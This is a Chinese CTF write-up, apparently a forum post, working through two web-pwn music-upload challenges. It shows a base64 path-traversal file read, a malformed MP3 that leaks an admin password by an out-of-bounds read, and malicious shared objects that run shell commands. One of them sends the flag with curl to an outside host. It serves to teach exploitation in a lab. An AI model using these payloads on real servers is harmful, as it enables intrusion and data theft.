从国赛决赛的webpwn到Delctf的webpwn学习之旅

0x0 前言

 之前就想着搞一下pwn的,但是都只是断断续续看了一些汇编还有基础的栈溢出,没有进行系统的学习,想到自己也快大三了,大学生涯也快接近尾声了,加上这次国赛让我认识到自己有多菜(bulid it and 攻防环节都感受到了跟各位师傅的巨大差距),也让我明白了要想挤进一等奖的话pwn能起到很关键的作用。很开心这次在做web题能遇到@impakho 师傅的两道web pwn,虽然没能做出来,但是后面复现的时候学习到了很多东西,也感受到了pwn的魅力,坚定了我想成为一名pwn选手和逆向选手的决心(ps.希望有pwn圈子或者pwn交流群的师傅能收留我,最好是热衷于ctf比赛的, 然后带带我)

我的联系方式QQ:MTU0MzgwODA4 <=> (26+26+10+2)
备注: xz # 这样我就知道了,thanks
欢迎跟我一样菜的pwn萌新来找我一起学习。

0x1 题目介绍

国赛2019决赛Web1 - 滑稽云音乐 题目环境及其WP githud地址

我就按照当时国赛给出的环境演示下我的解题思路

国赛当时给出了不完整的源码,主要是网站的脚本代码。

De1ctf 2019 de1ctf web cloudmusic_rev - 滑稽云音乐2.0 题目环境及其wp地址

基于国赛的题目做了一些改动如下:

0x2 配置Docker环境

0x2.1 配置ciscn题目环境

git clone https://github.com/impakho/ciscn2019_final_web1.git

docker build -t ciscn_web_pwn .

docker run -p 8187:80 ciscn_web_pwn

0x2.2 配置de1ctf题目环境

git clone https://github.com/impakho/de1ctf_cloudmusic_rev.git

docker build -t de1ctf_web_pwn .

docker run -p 8188:80 de1ctf_web_pwn

0x3 正文解题过程

0x3.1 ciscn 滑稽云音乐

这个题目步骤并不繁琐,但是考点很新颖,是我见过最好的与pwn结合的题目,这个pwn还是挺基础的,不像之前那个php写一个栈溢出的题目,对新手不是很友好,让我们一起来学习@impakho 师傅出的好题目吧。

(ps.这道题目国赛好像是0解。。。。。。。。。。。但是的确是个好题目。。。而且难度很合适)

当时我好像是花了差不多20分钟通读了一次,代码量并不多,主要是include文件夹还有就是media那个share.php文件很扎眼,这里我提取下重要的文件出来分析下。

首先当时我也是不知道考点是啥,但是我看到有个验证码需要写下脚本,那么我就先跑去看了下注册文件

这里可以看到对$username $password $code做了长度限制,验证码的话,直接改下我们常用的脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-

import random
from hashlib import md5

def get_plain(cipher, code, end = 5, length = 8):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain+code).hexdigest()[:end] == cipher:
            break
    return plain
print(get_plain('2495d', 'tDjpSafn'))

注册了一个 admin321 admin321的账号,然后我就继续读下登陆之后会有什么功能

我当时比较好奇的是,因为是加载的sqlite文件,所以我当时就分析一波,看下能获得管理员密码不

可以看到文件是运行的时候去生成然后加载的,所以源码是得不到密码的。

然后我就先登陆进去,看下有啥功能然后再去读对应的代码,很好有个上传的功能。

直接跟进代码看看 include/upload.php

<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
    ob_end_clean();
    header('Location: /hotload.php?page=login&err=1');
    die();
}
// 上面做了下用户的验证

include 'NoSQLite/NoSQLite.php';
include 'NoSQLite/Store.php';

function clean_string($str){
    $str=substr($str,0,1024);//限制了1m大小
    return str_replace("\x00","",$str); //过滤\x00
}

if (isset($_FILES["file_data"])){ //开始文件上传
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
    }else{
        $music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
      //上传没有什么限制
        $handle = fopen($music_filename, "rb");
      //这里打开了上传的文件
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 3);
      //读取前3个字节
        fclose($handle);
        if ($flags!=="ID3"){
          //mp3文件的判断
            unlink($music_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
        try{
          //这里是重点进行了FFI调用,我们提取这个关键代码出来分析下
            $parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
            $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
            $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_artist=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_artist,0,2)=="\xFF\xFE"){
                @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
                if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
            }
            $mp3_artist=base64_encode(clean_string($mp3_artist));
            $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_album=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_album,0,2)=="\xFF\xFE"){
                @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
                if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
            }
            $mp3_album=base64_encode(clean_string($mp3_album));
            $song=array($mp3_title,$mp3_artist,$mp3_album);
            $nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
            $music=$nsql->getStore('music');
            $res=$music->get($_SESSION['user']);
            if ($res===null||strlen((string)$res)<=0){
                $res=array();
            }else{
                $res=json_decode($res,TRUE);
            }
            array_push($res,$song);
            $res=json_encode($res);
            $music->set($_SESSION['user'],$res);
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}
?>

我们上面知道了,我们只要构造一个前三个字节为ID3就可以上传了,所以我们看提取出来的重点代码

首先

$parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
//这里大概的意思是 把c语言的Frame结构体传递给了$parser变量

这里用到了php7(php> 7.40)的一个用法,之前rctf也出了一个相关的题目,所以我比较熟悉这个。

根据文档我们可以得知,第一个参数起到就是c语言的类似于头文件的声明的东西,然后第二个参数就是shared library file

$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
//这里调用FFI object的$parser去调用/lib/parser.so 共享链接库的parse函数,我们可以发现它传入了三个参数
// struct Frame * parse(char * password, char * classname, char * filename); 
// 第一个是admin_password 第二个是title 第三个是我们传入的文件
            if ($result->size>0x130) $result->size=0x130;
// 这里取回函数执行的结果,限制了$result->size的大小最多为0x130
            $mp3_title=(string) FFI::string($result->data,$result->size);
// 这里调用了string函数去获取解析了我们mp3文件的歌曲名
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
 ......................................
  die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album))); //这里把$mp3_title输出到了前端。
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }

由于自己对于溢出泄漏数据不是很理解,一开始也没发现有啥问题,后面出了提示,提示了size那个点存在溢出。所以我当时就锁定了这里,但是我找了一圈没有找到parsers.so文件在哪里,源码没有给,当时卡了一会,后面我想起来了,share.php我一开始就发现是个文件读取漏洞了,但是我当时以为是出题人留的后门啥的,想着直接读flag但是发现读不了,觉得应该是做了权限的限制,只能读网站目录下的文件,当时我就觉得

__DIR__ ."/../lib/parser.so 这个东西拼接了__DIR__很明显就是在网站目录下嘛,一下子就把share.php文件想起来了,我们来看看。

ciscn2019_final_web1/source/media/share.php

<?php
# For sharing files in /media directory, do not delete, you can modify
# 分享功能,用来分享/media文件夹下的文件。不可删除,可以按需修改。
ini_set('display_errors','Off');
error_reporting(0);
header('Content-Type: application/octet-stream'); //这里设置了是流类型
$filepath=base64_decode($_SERVER['QUERY_STRING']);
//这里很简单直接取了$_SERVER['QUERY_STRING'] 然后base64解码
if (strlen($filepath)<=0) exit();
$file=fopen($filepath,"rb");
if ($file==FALSE) exit();
ob_clean();
while(!feof($file))
{
    print(fread($file,1024*8)); //直接读取8m,然后print输出,其实就是把内容读入到了输出流
    ob_flush(); 
    flush();
}

所以我们可以构造下链接,然后直接访问就可以把parser.so文件给下载下来。

http://127.0.0.1:8187/media/share.php?../lib/parser.so 然后base64一下

http://127.0.0.1:8187/media/share.php?Li4vbGliL3BhcnNlci5zbw==

记住要在浏览器打开下载回来,要不然容易损坏文件,我当时测试wget不行,但是我复现可以,迷。。。。

然后我们修改下后缀为elf,然后打开ida进行分析一下。

file查看下,确定是64位程序

首先补充下一些概念

ELF, Executable and Linking Format,是一种用于可执行文件、目标文件、共享库、和核心转储的标准文件格式。
ELF有四种不同的类型:
1.可重定位文件(Relocatable): 编译器和汇编器产生的.o文件
2.可执行文件(Executable):Have all relocation done and all symbol resolved except perhaps shared libray symbols that must be resolved at run time
3.共享对象文件(Shared Object): 动态库文件(.so)
4.核心转储文件(Core File)
所以说其实那个parser.so就是作为一个共享库的存在,我们也可以直接看file结果可以看出来
这个parser.so是一个标准的64位动态库文件,所以我们采取64位的ida进行打开。

我们直接在右边按下p去找parser函数去读下

汇编其实也很好读,伪代码更直接,不过ida定义了很多自定义的数据类型,所以我们可以去了解下ida def.h,能帮助我们更好的读懂程 这里补充下ida一些小知识 我比较常用的小功能是:

F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。直观,哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名,能理清楚逻辑
x: 查看交叉引用

我们可以分析下这段ARM汇编风格的汇编程序

首先是 public parse 定义子模块

parese proc near 代表子程序的开始

parse enp 代表子程序结束

; __unwind{ main proc}; 里面的代码就是函数实现的主要汇编代码

因为后面差不多,我们直接分析下开头和读取titie的汇编代码

看不懂先了解下小知识(后面我会写一个真正的小白逆向入门系列之汇编理论到实践篇)

我学汇编看的是王爽写的<<汇编语言>> 第三版
然后书本用的案例是Intel 8086 cpu
然后8086是16位cpu,有14个寄存器(16位,可以存放两个字节): AX BX CX DX | SI DI SP BP IP CS SS DS ES PSW
32位的对应就是: eax ebx ........
64位就是: rax rbx rcx .........
还有其他细节指令也变了,但是大体上差不多的,到时候我会在下一篇文章进行对比分析下。
内存是字节单元(一个单元存放一个字节,一个字节8位)
字单元: 由两个地址连续的内存单元组成,存放一个字型数据的内存单元。
其实读懂这段代码非常简单,就是一个函数调用, 压栈的过程
栈顶在内存中是高地址向低地址增长的
然后就是常说的一些函数约定:
参数少于7个时,参数从左到右放入到寄存器中: rdi rsi rdx rcx r8 r9
当参数7个以上时,前六个不变,但后面的依次从右往左放入栈中。

.text:0000000000002983 var_18          = qword ptr -18h
.text:0000000000002983 s1              = qword ptr -10h
.text:0000000000002983 var_8           = qword ptr -8
.text:0000000000002983
.text:0000000000002983 ; __unwind {
.text:0000000000002983                 push    rbp
.text:0000000000002984                 mov     rbp, rsp
.text:0000000000002987                 sub     rsp, 20h
.text:000000000000298B                 mov     [rbp+var_8], rdi
.text:000000000000298F                 mov     [rbp+s1], rsi
.text:0000000000002993                 mov     [rbp+var_18], rdx;传入参数 _int64 8字节
.text:0000000000002997                 mov     eax, 0
.text:000000000000299C                 call    _init_proc ;这里调用__init_proc函数
.text:00000000000029A1                 mov     rax, [rbp+var_8]
.text:00000000000029A5                 mov     rdi, rax
.text:00000000000029A8                 call    _check_password
.text:00000000000029AD                 cmp     eax, 1 //结果比较
.text:00000000000029B0                 jnz     short loc_2A1F //if判断
.text:00000000000029B2                 mov     rax, [rbp+s1]
.text:00000000000029B6                 lea     rsi, aTitle     ; "title"
.text:00000000000029BD                 mov     rdi, rax        ; s1
.text:00000000000029C0                 call    _strcmp
.text:00000000000029C5                 test    eax, eax
.text:00000000000029C7                 jnz     short loc_29D7
.text:00000000000029C9                 mov     rax, [rbp+var_18]
.text:00000000000029CD                 mov     rdi, rax
.text:00000000000029D0                 call    _read_title
.text:00000000000029D5                 jmp     short loc_2A1F

对应的伪代码:

我们跟进下init_proc()初始化函数

这里我们可以看到 这个反汇编的结果不是很正确,还是看汇编比较好。

其实这里frame_data是一个指向_frame_data的指针。

然后就是把参数传入_memset函数啦, rdi寄存器存放参数值就是frame_data指针的,然后edx存放大小,esi存放初始化的值。

上面那个汇编对应的就是:

memset(&frame_data, 0, 0x100uLL);

其实真实源码是这样的

理解了这个,我们就可以继续分析这个漏洞了。

当时我以为check_password会硬编码在程序里(但是前面我们知道它是随机生成然后写入文件的)呢,这样就是一道简单的逆向题,我还是太天真了

所以最后我还是乖乖的根据提示去找size溢出点了。

我们跟进下read_title这个函数看看

这个我个人不是很建议去跟,程序不是很好读,我们不如直接搜索mp3结构,来了解下判断原理

我们结合@impakho师傅的脚本来看下构造是对应上面结构,其实你直接看源文件也可以发现构造规则。

def upload_music():
    url = site_url + '/hotload.php?page=upload'
    data = {'file_id': '0'}
    music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
    music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x300 + '\x00'
    files = {'file_data': music}
    if logging: print(url)
    if logging: print(data)
    # res = post(1, url, data, files)
    if logging: print(res.text)
    if '"status":1' in res.text:
        try:
            return b64decode(json.loads(res.content.strip())['artist'])[-16:]
        except:
            return ''
    return ''

我们生成一个文件来看看

然后按照上面的文件结构,我们就知道构造原理了

这里要对应好大小,要不然解析读取的时候可能会出错了,导致不成功。

我们把生成的文件上传试试看

至于为什么会这样? 其实这个就是这个题目pwn的考点。

$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);

这段php代码就会根据结构体的定义接收到了return result and return frame_size

然后就会通过ffi的自定义函数去读取数据

通过文档我们可以如果size参数省略那么,那么就会根据\0去结束。

也就是这个函数的逻辑应该是优先根据结束符,次之是根据size参数来读取字符串长度的(想想代码是如何实现上面size效果就可以猜到了,不信的话可以直接撸一下ffi扩展string函数源码,欢迎师傅和我交流下这里)

if ($result->size>0x130) $result->size=0x130;
$mp3_artist=(string) FFI::string($result->data,$result->size);

你们看到这里有什么不对了吗?

首先$result-data ->对应的是 frame_data ,然后frame_data指向的__frame_data数组只有0x100的大小,

但是这里竟然可以读取最多是0x130 多了0x30可以读取,这会导致什么问题呢,很显然的话就会数组越界从而读取到下一个地址的数据。

那么具体成因是啥呢? 我们继续分析下代码

(unsigned __int8)(((unsigned __int64)frame_size[0] >> 56) + LOBYTE(frame_size[0]))
             - ((unsigned int)(frame_size[0] >> 31) >> 24)

上面这个memcpy的第三个参数很有意思,看下汇编

一些汇编小知识:
sub ax,bx <=> ax -bx
add ax,bx <=> ax = ax + bx

我当时问了下其他师傅具体怎么算的,这个是gcc优化导致的,我们可以自己写一段代码来调试就知道了。

所以那句话其实就是eax%256 256=>0x100

这个程序的源代码是这样的,gcc优化后的确挺难理解的,后面我会针对这个问题,研究下。

这样你想想会导致什么问题。

我先看下.bss段中变量存放的地址

_BSS段_通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前_BSS段_会自动清0。,但是地址偏移是不变。

然后 0x93c0 - 0x92c0= 0x100 ,password长度<0x30 这样就可以泄漏出密码了。

这里我直接给你们看两个程序就明白了

然而后面我跟了下.so的源代码然后和@impakho师傅聊了下,发现拼接的字符串根本没有\0,所以这道题目

只需要伪造size是个比较大的值就可以了,原因看下下面这个程序就懂了。

然后我们愉快的获取到了管理员密码,然后我们就需要去看看需要管理员操作的地方有没有什么getshell的点。

include/firmware.php

很直接,我们跟进看看

可以看到这里主要限制了文件大小,限制了elf文件头,然后生成的文件名是利用随机数拼接username(如果上传比较快的话,这个可以直接得到的) 不用像原作者那么复杂,调用python的类。

所以说我们可以构造一个任意指令的elf文件然后传入路径给ffi去加载,我们可以控制指令读取flag的值然后赋值给

* version 就行了。

这样我们相当于可以执行命令,但是我们没办法cat /flag 因为/flag权限是600

所以我们需要利用suid的程序进行读取/flag,脚本如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x500];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x500);
  FILE * fp = popen("find / -user root -perm -4000", "r");
  if (fp==NULL) return;
  fread(version, 1 , 0x500,fp);
  pclose(fp);
}

我们也可以直接执行system然后写入目录里面。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x130);ls
  strcpy(version, "v2.0");
  system("find / -user root -perm -4000 > /var/www/html/uploads/firmware/res.txt");
}

gcc编译命令share object:

gcc -shared -fPIC -o web1.so web1.c

然后我们上传这个文件就行了。

这里需要注意下本地的php版本要大于7因为,php7修复了随机数生成的一些缺陷,导致与php7一下生成的值不一样。

// exp.php
<?php
    mt_srand(time());
    echo time()." | ";
    echo md5(mt_rand().'admin')."\n";
#!/usr/bin/pyhton
# -*- coding:utf-8 -*-
import requests
import os
cookie = {
    "PHPSESSID":"dgs7mi8558jubi3nrqrtht929a
}

file = {
    "file_data":open("web1.so","rb")
}

data = {
    "file_id":0
}

os.system("php exp.php")

resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie)

os.system("php exp.php")

print resp.text

py跑起来

从返回结果看,我们可以很明显看到一个可以读取文件的命令tac

然后稍微改下命令就可以get flag了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x500];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x500);
  FILE * fp = popen("/usr/bin/tac /flag", "r");
  if (fp==NULL) return;
  fread(version, 1 , 0x500,fp);
  pclose(fp);
}

0x3.2 cloudmusic_rev - 滑稽云音乐2.0

代码主体还是国赛的题目源码,所以我们做这道题目可以白盒+黑盒来做。

首先先黑盒搞出那个文件读取,后面就是白盒操作了。

0x3.2.1 文件读取

这个考点的确是有依据的,因为$_SERVER['QUERY_STRING']不会对字符串解码,但是浏览器会自动编码,所以通常写代码的时候就会urldecode,如果写错了过滤与解码的顺序,就会导致出现漏洞。

所以说我们把上面那个payloas urlencode一下再base64一下就能获取代码了。

0x3.2.2 off by null

参照国赛的题目,我们读取3个文件的代码就行了,关于验证码很简单这里就不叙述了。

直接上脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-

import random
from hashlib import md5

def get_plain(cipher, code, end = 5, length = 8):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain+code).hexdigest()[:end] == cipher:
            break
    return plain
print(get_plain('852619', '3ECBACGv', 6))

然后我们读下 upload.php firmware.php parser.so

你会发现data写在了size的上面了,然后限制了大小修改为了0x70

然后firmware.php去掉了回显,但是我们可以通过写入uploa文件夹,脚本如下

#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void fun(){
    memset(version,0,0x130);
    FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/wulasite.txt", "r");
    if (fp==NULL) return;
    fread(version, 1, 0x100, fp);
    pclose(fp);
}

外带数据的话,so文件代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
char _version[0x130];
char *version = &_version;
__attribute ((constructor)) void shell(){
    strcpy(version, "cloudmusic_rev");
  // excute command
  const char *command =  "curl  -v --data-urlencode flag=`/usr/bin/tac /flag` 3bqxxx.ceye.io";
   system(command);
}

下面让我们重点分析那个pwn点吧,打开ida进行分析

我们可以看到相对国赛的改动

限制了内容长度最大是0x70

这里用strlen来判断是存在问题的,因为strlen是不会把\0 去计算进去的。那么是怎么实现攻击 off by null攻击的呢。

其实就是修改了mem_mframe_data的地址为 存放密码的mem_passwd

这里为什么用国赛的思路不行呢,这里我简单说说

1.首先是限制了0x70

def upload_music():
    music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
    music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00'
    with open('web2.mp3', 'wb') as f:
        f.write(music)

当我们上传这个内容是0x70长度的mp3上去时

首先mem_mframe_data数组大小是0x70

这里发生了溢出,溢出了\0,strcpy本来返回的是 mem_mframe_data地址值,但是由于溢出了,直接修改了ebp的低位,从而

这样就实现了修改地址,从而string函数读取的时候就跑去读密码的地址了。

不懂可以看下这个文章: Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))

0x4 感激

  很感谢三叶草的@0xC4m3l师傅,还有@impakho、@湖大QQ星师傅耐心解答我的问题,让我学习到了很多大师傅们的姿势,一想到从最开始高三暑假三叶草@流星师傅带我入门ctf,到现在都过去了2年了,现在自己的水平打比赛还是很吃力,吹爆三叶草的各位师傅,希望自己能加把劲跟上师傅们的步伐,不辜负流星师傅一直以来对我的耐心指导。

0x5 总结

 这两个题目很有意思的,让人感觉pwn与web结合起来是多么美妙的事情,同时我感觉到了pwn真的是很有意思的东西,就是感觉有种geek的感觉,这是让我感觉跟web差别很大,很有意思的东西。还有就是自己需要多写汇编,重新巩固c语言基础,然后ida反编译去学习gcc优化代码与源代码的差异。最后小小吐槽下这个题目,这个题目考点不是很难,难的是比较新颖,如何构造一个满足的mp3文件,在国赛那种断网环境,真的不容易。

0x6 参考链接

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

MP3文件结构解析

ELF是什么?

IDA Pro: def.h

IDA-数据显示窗口(反汇编窗口、函数窗口、十六进制窗口)

64位和32位的寄存器和汇编的比较

X64的函数调用规则

attribute 机制使用

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖